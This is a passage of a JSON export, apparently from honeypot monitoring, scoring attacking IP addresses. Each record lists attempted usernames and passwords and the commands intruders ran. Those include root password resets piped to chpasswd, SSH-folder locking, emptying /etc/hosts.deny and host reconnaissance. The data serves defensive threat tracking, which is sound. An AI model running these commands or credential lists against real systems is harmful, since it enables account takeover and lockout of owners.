      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 60,
        "Cowrie": 2,
        "Dicompot": 1
      }
    },
    "95.170.131.210": {
      "attack_count": 2,
      "first_seen": "2026-03-15T14:05:21.719Z",
      "last_seen": "2026-03-15T14:07:21.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 25549,
      "as_org": "JSC Avantel",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T14:05:21.719000+00:00",
        "last_seen_30d": "2026-03-15T14:17:28.816000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "185.246.128.133": {
      "attack_count": 7507,
      "first_seen": "2026-03-04T07:27:08.489Z",
      "last_seen": "2026-03-31T23:34:08.995Z",
      "sessions": 1249,
      "ports": [],
      "usernames_attempted": [
        "ftp1",
        "oracle",
        "authority",
        "ddd",
        "admin",
        "qaz",
        "root"
      ],
      "passwords_attempted": [
        "ftp1",
        "or4cl3",
        "authority",
        "ddd",
        "admin",
        "123456",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 67.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11251,
        "days_active_30d": 28,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:27:08.489000+00:00",
        "last_seen_30d": "2026-03-31T23:35:17.757000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7507,
        "Suricata": 3744
      }
    },
    "138.68.183.90": {
      "attack_count": 1466,
      "first_seen": "2026-03-17T21:53:22.118Z",
      "last_seen": "2026-03-18T02:11:01.841Z",
      "sessions": 289,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ansible",
        "apache",
        "backup",
        "debian",
        "docker",
        "dspace",
        "git",
        "guest",
        "hadoop",
        "jenkins",
        "mysql",
        "nagios",
        "nginx",
        "operator",
        "oracle",
        "postgres",
        "test",
        "tomcat"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "123456789",
        "12345",
        "admin",
        "welcome",
        "root",
        "1234",
        "P@ssw0rd",
        "qwerty",
        "P@ssword",
        "admin123",
        "default",
        "letmein",
        "passw0rd",
        "welcome1",
        "111111",
        "123",
        "123123",
        "123321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 2096,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T21:53:22.118000+00:00",
        "last_seen_30d": "2026-03-18T02:12:10.876000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1466,
        "Suricata": 630
      }
    },
    "146.190.21.220": {
      "attack_count": 955,
      "first_seen": "2026-03-15T16:44:40.005Z",
      "last_seen": "2026-03-15T17:09:51.603Z",
      "sessions": 191,
      "ports": [],
      "usernames_attempted": [
        "deploy",
        "admin",
        "deployer",
        "alex",
        "bot",
        "ali",
        "debian",
        "a",
        "aaa",
        "bob",
        "botuser",
        "claude",
        "david",
        "demo",
        "dev",
        "abc",
        "administrator",
        "ams",
        "andrea",
        "andrew"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345678",
        "admin123",
        "12345",
        "P@ssw0rd",
        "admin",
        "1",
        "d",
        "root",
        "0000",
        "111",
        "1111",
        "123123",
        "123123123",
        "1234567",
        "123root",
        "1qaz2wsx",
        "1qaz@WSX"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1344,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:44:40.005000+00:00",
        "last_seen_30d": "2026-03-15T17:10:58.986000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 955,
        "Suricata": 389
      }
    },
    "193.32.162.145": {
      "attack_count": 633,
      "first_seen": "2026-03-08T01:29:42.585Z",
      "last_seen": "2026-03-25T01:12:58.322Z",
      "sessions": 126,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "ubuntu",
        "solv",
        "jito",
        "node",
        "validator",
        "root",
        "bot",
        "brain",
        "degen",
        "doge",
        "postgres",
        "shredstream",
        "trader",
        "trading",
        "geyser"
      ],
      "passwords_attempted": [
        "solana",
        "jito",
        "123solana",
        "bot",
        "shredstream",
        "test",
        "geyser",
        "1234",
        "123456",
        "12345678",
        "123sol",
        "Solana",
        "brain",
        "degen",
        "doge",
        "node",
        "postgres",
        "qwerty123",
        "qwerty1234",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 45.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 949,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:18:32.908000+00:00",
        "last_seen_30d": "2026-03-25T01:14:02.507000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 633,
        "Suricata": 316
      }
    },
    "125.141.84.135": {
      "attack_count": 491,
      "first_seen": "2026-03-03T17:39:19.245Z",
      "last_seen": "2026-03-26T06:56:07.142Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubnt",
        "user",
        "usr",
        "pi",
        "telnet",
        "remotessh"
      ],
      "passwords_attempted": [
        "",
        "123456",
        "admin",
        "password",
        "root",
        "1234",
        "12345",
        "1",
        "1234567890",
        "Chameleon",
        "admin1234",
        "Admin123",
        "toor",
        "123",
        "1qaz2wsx",
        "Admin",
        "admin123!@#",
        "admin123456",
        "ubnt",
        "ubnt1"
      ],
      "commands_executed": [
        "shell",
        "cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;",
        "enable",
        "sh",
        "while read i"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 74.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.3,
        "persistence": 25,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 679,
        "days_active_30d": 30,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T10:34:45.300000+00:00",
        "last_seen_30d": "2026-03-31T03:24:46.420000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 491,
        "Suricata": 187,
        "Honeytrap": 1
      }
    },
    "172.210.249.152": {
      "attack_count": 479,
      "first_seen": "2026-03-06T00:58:25.722Z",
      "last_seen": "2026-03-26T16:03:30.309Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "abhishek",
        "icecast",
        "mikrotik",
        "ws",
        "deamon",
        "deployuser",
        "dockeradmin",
        "jirka",
        "jun",
        "kirill",
        "kube",
        "lq",
        "mamad",
        "mm",
        "monitor",
        "music",
        "smbuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345",
        "123456",
        "1QAZ2WSX3EDC",
        "2005",
        "Aa321321",
        "Admin@123",
        "Jirka123",
        "deamonpass",
        "deployuser1234",
        "dockeradmin123!",
        "icecast1234",
        "jun",
        "kube123!",
        "lq123!",
        "mikrotik1234",
        "monitor123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n0ByRjrM92sbr\\n0ByRjrM92sbr\\n\"|passwd",
        "echo \"icecast1234\\nP8vj97nDP9Pw\\nP8vj97nDP9Pw\\n\"|passwd",
        "echo \"mikrotik1234\\n2fH1nPcx0IFt\\n2fH1nPcx0IFt\\n\"|passwd",
        "echo \"password\\nPNQ6E6gFel94\\nPNQ6E6gFel94\\n\"|passwd",
        "echo \"root:PtoIUj3279Pd\"|chpasswd|bash",
        "echo -e \"123456\\n0ByRjrM92sbr\\n0ByRjrM92sbr\"|passwd|bash",
        "echo -e \"icecast1234\\nP8vj97nDP9Pw\\nP8vj97nDP9Pw\"|passwd|bash",
        "echo -e \"mikrotik1234\\n2fH1nPcx0IFt\\n2fH1nPcx0IFt\"|passwd|bash",
        "echo -e \"password\\nPNQ6E6gFel94\\nPNQ6E6gFel94\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 564,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:58:25.722000+00:00",
        "last_seen_30d": "2026-03-26T16:04:30.851000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 85
      }
    },
    "116.99.169.195": {
      "attack_count": 454,
      "first_seen": "2026-03-25T14:45:14.065Z",
      "last_seen": "2026-03-25T15:07:36.758Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ftp",
        "monitor",
        "test",
        "ubnt",
        "user",
        "*****",
        "1234",
        "123456",
        "ace",
        "admian",
        "ashish",
        "auto",
        "backup",
        "bin",
        "btf",
        "config",
        "developer",
        "ftpuser"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "12345",
        "123456",
        "abc123",
        "admin123",
        "monitor",
        "*****",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "111111",
        "112233",
        "123",
        "12345678",
        "1234567890%*()",
        "321start",
        "91482d",
        "P@ssw0rd",
        "ace"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 656,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T14:45:14.065000+00:00",
        "last_seen_30d": "2026-03-25T15:08:44+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 202
      }
    },
    "45.175.37.29": {
      "attack_count": 450,
      "first_seen": "2026-03-18T15:56:34.577Z",
      "last_seen": "2026-03-26T16:03:23.945Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "boom",
        "botuser",
        "silvia",
        "trooper",
        "bitwarden",
        "def",
        "deployuser",
        "ftpuser",
        "gbase",
        "george",
        "git",
        "icecast",
        "internet",
        "java",
        "ljd",
        "mikrotik",
        "monitor",
        "orders"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "1234",
        "102030",
        "123321",
        "123456",
        "Boom123",
        "Gbase123",
        "George123!",
        "Mikrotik123!",
        "Otrs123",
        "Tiger123!",
        "admin22",
        "boom123",
        "deployuser1234",
        "ftpuser#2025",
        "icecast1234",
        "internet123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nTTUnic87cp8Z\\nTTUnic87cp8Z\\n\"|passwd",
        "echo \"root:vQ82PsHPmefU\"|chpasswd|bash",
        "echo \"silvia1234\\nNkIIVXlrPXF4\\nNkIIVXlrPXF4\\n\"|passwd",
        "echo \"trooperpass\\nQpoFcFrfnBIF\\nQpoFcFrfnBIF\\n\"|passwd",
        "echo -e \"123\\nTTUnic87cp8Z\\nTTUnic87cp8Z\"|passwd|bash",
        "echo -e \"silvia1234\\nNkIIVXlrPXF4\\nNkIIVXlrPXF4\"|passwd|bash",
        "echo -e \"trooperpass\\nQpoFcFrfnBIF\\nQpoFcFrfnBIF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 267843,
      "as_org": "TCA SERVICES C.A.",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 551,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:56:34.577000+00:00",
        "last_seen_30d": "2026-03-26T16:04:24.877000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 101
      }
    },
    "27.79.40.75": {
      "attack_count": 407,
      "first_seen": "2026-03-17T07:39:57.267Z",
      "last_seen": "2026-03-17T08:06:20.156Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "cisco",
        "ftp",
        "ubnt",
        "1234",
        "123456",
        "am",
        "belkinstyle",
        "brenda",
        "btf",
        "config",
        "cpanel",
        "developer",
        "ftpuser",
        "george",
        "guest",
        "joggler",
        "kim"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "1234",
        "P@ssw0rd",
        "abc123",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "123",
        "12345678",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "admin1",
        "admin123",
        "am",
        "andrew",
        "asteriskftp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 583,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T07:39:57.267000+00:00",
        "last_seen_30d": "2026-03-17T08:07:28.664000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 407,
        "Suricata": 176
      }
    },
    "152.32.134.231": {
      "attack_count": 374,
      "first_seen": "2026-03-04T17:46:05.297Z",
      "last_seen": "2026-03-15T20:02:56.482Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mamad",
        "rdpuser",
        "arjun",
        "centos7",
        "chat",
        "deployer",
        "grid",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Qwer1234",
        "1122",
        "1234",
        "123qwe11",
        "8866",
        "Aa123123",
        "Arjun123!",
        "Debian@1",
        "Deployer123",
        "Pc123456",
        "QWERasdf1234",
        "Txtd1@#4",
        "Welkom123",
        "ZAQ!2wsx",
        "asd123",
        "chat123!",
        "mamad@123",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"mamad@123\\nTUbDEjRBZTEB\\nTUbDEjRBZTEB\\n\"|passwd",
        "echo \"rdpuser\\nIoKmL3nw1n43\\nIoKmL3nw1n43\\n\"|passwd",
        "echo \"root:UBs8Q5ufZS0A\"|chpasswd|bash",
        "echo \"root:iWS4opE529vA\"|chpasswd|bash",
        "echo -e \"mamad@123\\nTUbDEjRBZTEB\\nTUbDEjRBZTEB\"|passwd|bash",
        "echo -e \"rdpuser\\nIoKmL3nw1n43\\nIoKmL3nw1n43\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 438,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:46:05.297000+00:00",
        "last_seen_30d": "2026-03-15T20:04:04.248000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 374,
        "Suricata": 64
      }
    },
    "189.217.130.86": {
      "attack_count": 365,
      "first_seen": "2026-03-02T20:16:07.989Z",
      "last_seen": "2026-03-30T14:29:56.391Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "1234qwer!@#$",
        "151515",
        "159753123",
        "21ops.comM",
        "@dmin2024",
        "Aa1234567",
        "Admin123@@",
        "Admin702",
        "April2024",
        "As123456@",
        "Frank@123",
        "Samsung@2026",
        "Server1234",
        "System2025",
        "ZL123456@",
        "a123456a",
        "abcd@4321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\n0VDIdy9LY1Kj\\n0VDIdy9LY1Kj\\n\"|passwd",
        "echo \"root:I7rvvRYg8g1S\"|chpasswd|bash",
        "echo \"root:TbY3pM4W35bV\"|chpasswd|bash",
        "echo -e \"1233218613\\n0VDIdy9LY1Kj\\n0VDIdy9LY1Kj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Valle de Chalco",
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.6,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 456,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:16:07.989000+00:00",
        "last_seen_30d": "2026-03-30T14:31:04.033000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 365,
        "Suricata": 91
      }
    },
    "27.112.78.44": {
      "attack_count": 365,
      "first_seen": "2026-03-08T00:16:35.659Z",
      "last_seen": "2026-03-17T15:39:31.423Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "abdel",
        "root",
        "srs",
        "xwiki",
        "administrador",
        "backend",
        "cardano",
        "deamon_root",
        "demo",
        "ks",
        "maks",
        "michele",
        "newuser",
        "remoteuser",
        "ssl",
        "story",
        "test01",
        "wikijs"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "Ks123!",
        "Maks123!",
        "Test01123!",
        "Wikijs123",
        "aA12345678",
        "abdel",
        "demo123!",
        "newuser",
        "password",
        "xwiki"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nLUCbMItm3c3s\\nLUCbMItm3c3s\\n\"|passwd",
        "echo \"abdel\\ndq3fCFMpRlHN\\ndq3fCFMpRlHN\\n\"|passwd",
        "echo \"root:i37mvfc7Rm74\"|chpasswd|bash",
        "echo \"xwiki\\nyjzf9qyNgfj6\\nyjzf9qyNgfj6\\n\"|passwd",
        "echo -e \"12345678\\nLUCbMItm3c3s\\nLUCbMItm3c3s\"|passwd|bash",
        "echo -e \"abdel\\ndq3fCFMpRlHN\\ndq3fCFMpRlHN\"|passwd|bash",
        "echo -e \"xwiki\\nyjzf9qyNgfj6\\nyjzf9qyNgfj6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.3,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 431,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T00:16:35.659000+00:00",
        "last_seen_30d": "2026-03-17T15:40:38.875000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 365,
        "Suricata": 66
      }
    },
    "20.193.141.133": {
      "attack_count": 360,
      "first_seen": "2026-03-10T07:55:22.028Z",
      "last_seen": "2026-03-27T21:23:27.222Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "marissa",
        "alumno",
